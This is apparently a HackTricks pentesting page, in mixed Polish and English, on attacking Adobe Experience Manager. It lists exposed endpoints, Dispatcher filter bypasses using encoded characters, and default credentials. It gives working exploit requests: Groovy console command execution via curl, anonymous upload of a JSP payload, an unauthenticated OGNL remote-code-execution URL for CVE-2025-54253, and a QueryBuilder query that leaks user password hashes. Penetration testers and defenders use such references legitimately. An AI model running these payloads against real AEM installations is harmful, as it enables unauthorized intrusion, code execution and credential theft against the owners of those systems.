AEM (Adobe Experience Manager) Pentesting

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Adobe Experience Manager (AEM, część Adobe Experience Cloud) to korporacyjny CMS działający na Apache Sling/Felix (OSGi) i Java Content Repository (JCR). Z perspektywy atakującego instancje AEM bardzo często ujawniają niebezpieczne development endpoints, słabe reguły Dispatcher, default credentials oraz długi ogon CVEs, które są łatane co kwartał.

The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Inne szybkie wskaźniki:

  • /etc.clientlibs/ static path present (zwraca JS/CSS).
  • /libs/granite/core/content/login.html login page with the “Adobe Experience Manager” banner.
  • </script><!--/* CQ */--> komentarz na dole HTML.

2. Wysokowartościowe endpointy dostępne bez uwierzytelnienia

PathCo otrzymujeszUwagi
/.json, /.1.jsonWęzły JCR przez DefaultGetServletCzęsto blokowane, ale Dispatcher bypass (patrz niżej) działa.
/bin/querybuilder.json?path=/QueryBuilder APILeak drzewa stron, wewnętrznych ścieżek, nazw użytkowników.
/system/console/status-*, /system/console/bundlesOSGi/Felix console403 domyślnie; jeśli jest wystawione i znajdą się creds ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage ManagerPozwala na przesyłanie content packages po uwierzytelnieniu → JSP payload upload.
/etc/groovyconsole/**AEM Groovy ConsoleJeśli jest wystawione → dowolne wykonanie Groovy / Java.
/libs/cq/AuditlogSearchServlet.jsonAudit logsUjawnienie informacji.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpwektor XSS.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorW przypadku źle skonfigurowanych instalacji Forms (CVE-2025-54253) ten endpoint wykonuje OGNL bez uwierzytelnienia → RCE.

Dispatcher bypass tricks (still working in 2025/2026)

Większość produkcyjnych stron działa za Dispatcher (reverse-proxy). Reguły filtrowania są często bypassed przez nadużywanie zakodowanych znaków lub dozwolonych statycznych rozszerzeń.

Klasyczny średnik + dozwolone rozszerzenie

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.


3. Częste błędy konfiguracyjne (wciąż występują w 2026)

  1. Anonymous POST servletPOST /.json with :operation=import pozwala zasadzić nowe węzły JCR. Zablokowanie POSTów *.json w Dispatcherze to naprawia.
  2. World-readable user profiles – domyślne ACL przyznaje jcr:read na /home/users/**/profile/* dla wszystkich.
  3. Default credentialsadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter włączony ⇒ reflected XSS via ?debug=layout (CVE-2016-7882, wciąż spotykany w przestarzałych instalacjach 6.4).
  5. Groovy Console exposed – remote code execution by sending a Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Dispatcher encoded-slash gap/bin/querybuilder.json and /etc/truststore.json reachable with %2f/%3B nawet gdy są zablokowane przez filtry ścieżek.
  2. AEM Forms Struts devMode left enabled/adminui/debug?expression= ocenia OGNL bez uwierzytelnienia (CVE-2025-54253), prowadząc do unauth RCE; dodatkowe XXE w przesyłaniu Forms (CVE-2025-54254) pozwala na odczyt plików.

4. Ostatnie podatności (kadencja service-packów)

KwartałCVE / BiuletynDotyczyWpływ
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12Wiele krytycznych/stored XSS → code execution przez author UI.
Sep 2025APSB25-906.5.23 & earlierŁańcuch omijania funkcji bezpieczeństwa (Dispatcher auth checker) – zaktualizować do 6.5.24/Cloud 2025.12.
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE odczyt plików, bez uwierzytelnienia.
Jun 2025APSB25-486.5.23 & earlierStored XSS i eskalacja uprawnień w komponentach Communities.
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74)6.5.22 & earlierDOM/Stored XSS, dowolne wykonanie kodu (niskie uprawnienia).
Dec 2023APSB23-72≤ 6.5.18DOM-based XSS przez spreparowany URL.

Zawsze sprawdzaj biuletyn APSB odpowiadający service-packowi klienta i dąż do najnowszej wersji 6.5.24 (Nov 26, 2025) lub Cloud Service 2025.12. AEM Forms on JEE wymaga własnego dodatku hotfix 6.5.0-0108+.


5. Fragmenty exploitów

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Wywołaj teraz /content/evil.jsp – JSP uruchamia się z uprawnieniami użytkownika procesu AEM.

5.2 SSRF to RCE (historyczne < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py z aem-hacker automatyzuje cały łańcuch.

5.3 OGNL RCE w AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

5.4 QueryBuilder hash disclosure (encoded slash bypass)

W przypadku podatności, treść odpowiedzi HTTP zawiera wynik polecenia.

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Zwraca węzły użytkowników zawierające rep:password hashes, gdy ACL-y umożliwiające anonimowy odczyt są ustawione domyślnie.


6. Narzędzia

  • aem-hacker – Wszechstronny skrypt enumeracyjny — wspiera dispatcher bypass, SSRF detection, default-creds checks i inne.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 – Wykrywa QueryBuilder hash disclosure & encoded-slash bypass automatycznie (opublikowano Dec 2025).
  • Content brute-force – rekursywnie żądaj /_jcr_content.(json|html) aby odkryć ukryte komponenty.
  • osgi-infect – wgraj złośliwy OSGi bundle przez /system/console/bundles, jeśli creds są dostępne.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks